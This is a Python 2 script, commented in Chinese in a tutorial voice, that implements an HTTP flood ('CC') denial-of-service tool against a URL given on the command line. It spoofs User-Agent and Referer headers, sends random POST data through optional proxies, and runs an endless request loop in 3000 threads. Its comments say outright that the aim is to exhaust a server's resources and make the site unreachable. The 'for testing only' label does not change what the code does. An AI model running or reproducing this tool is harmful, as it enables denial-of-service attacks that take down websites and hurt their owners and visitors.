#coding=utf-8
import urllib,urllib2#这里还是使用这两个模块讲解，当然大家可以自己替换为requests这个第三方模块
import sys #有一些涉及系统方面的操作需要它
import random #这是一个随机数模块，因为我们要伪造多人多客户端访问，要模拟无规律的行为
import ssl #这里仅仅是为了关闭ssl认证
import threading #增加线程模块
import argparse
import re #我们需要一个正则表达式
ssl._create_default_https_context=ssl._create_unverified_context#这里死记硬背就行了，设置不做ssl校验
url=''#选择一个网址
host=''#定义请求中的host字段
headers_useragents=[]#定义一个User_Agent组，随机抽取伪造多客户端登陆
headers_referers=[]#定义一个组，伪造跳转链接，伪造从百度或者谷歌跳转过来的页面
proxy_ip=[] #如果想模拟多客户端的话，最好使用代理，当然没有代理，小网站也扛不住
COUNT=0
#构造User_Agent字段列表
def useragent_list():   
    global headers_useragents
    headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
    headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
    return(headers_useragents)
#构造headers_referers字段列表，用于模拟跳转
def referer_list():
    global headers_referers
    headers_referers.append('http://www.google.com/?q=')
    headers_referers.append('http://www.usatoday.com/search/results?q=')
    headers_referers.append('https://www.sogou.com/web?query=')
    headers_referers.append('http://www.facebook.com/sharer/sharer.php?u=')
    headers_referers.append('http://' + host + '/')
    return(headers_referers)
#定义一些代理，代理如果多可以写在文档里，然后读取，这里就简单的写一个函数处理
def proxyip_list(file_path):
    global proxy_ip
    f=open(file_path,'rb')
    proxy_ip=f.read().split('\n')
    f.close()#想想还有没有改进空间
    return proxy_ip
#随机生成字母，连接我们构造的referer，和构造假的url都用得到
def buildblock(size):
    out_str = ''
    for i in range(0, size):
        a = random.randint(65, 90)
        out_str += chr(a)
    return(out_str)
def httpcall(url):
    global COUNT
    useragent_list()
    referer_list()
    while True:#写个死循环，不停的发送错误的url来消耗服务器的资源
        headers = {
            'User-Agent':random.choice(headers_useragents),#随机选个浏览器
            'Cache-Control':'no-cache',
            'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.7',#设置接收的编码类型，这个死记硬背就行了，不定义也可以
            'Referer':random.choice(headers_referers) + buildblock(random.randint(5,10)),#伪造跳转连接
            'Keep-Alive':random.randint(110,120),#保持连接，其实在http1.1协议中，这个字段应该无意义了，稳妥起见还是设置
            'Connection':'keep-alive',#保持连接状态，这样就占用服务器资源，导致正常的网络访问变慢或者无法访问
            'Host':host
            }
        postdata = urllib.urlencode( {buildblock(random.randint(3,10)):buildblock(random.randint(3,10))} ) #对post请求中的data进行格式转换，使用第三方库requests则不用担心这个转码问题
        req = urllib2.Request(url=url,data=postdata,headers=headers)
        if len(proxy_ip) >0:
            proxy = urllib2.ProxyHandler({'http':random.choice(proxy_ip)}) #如果有代理就把注释去掉
            opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)#思考是不是用requests库比较方便
            try:
                opener.open(req)#如果使用代理这么来
            except:
                continue
        else:      
            try:
                urllib2.urlopen(req,timeout=5)#定义一个连接超时
            except:
                continue #什么原因代码错误我们现在不关心，只关心一定要继续执行下去，而不能跳出线程
#重载threading.Thread的run方法
class HTTPThread(threading.Thread):
    def run(self):
        httpcall(url)
#测试代码写的是否正确
def test():
    print url
    print host
    print proxy_ip

if __name__ == '__main__':
    parser=argparse.ArgumentParser(description="这是cc测试工具，仅做测试使用")
    parser.add_argument("-u","--url",help='设置目标url')
    parser.add_argument("-p","--proxy",help='设置代理文件的名字')
    args=parser.parse_args()
    if args.url:
        url=args.url
        if url.count("/")==2:
            url=url+"/"
        m = re.search('http\://([^/]*)/?.*', url)
        host=m.group(1)
        if args.proxy:
            proxyip_list(args.proxy)
        #test()#留一个测试的函数
        for i in range(3000):
            t=HTTPThread()
            t.setDaemon(True)#因为我们写了死循环所以只能通过关闭主进程来关闭子进程
            t.start()
            print '启动第%d个线程:'% i
    else:
        print parser.format_help()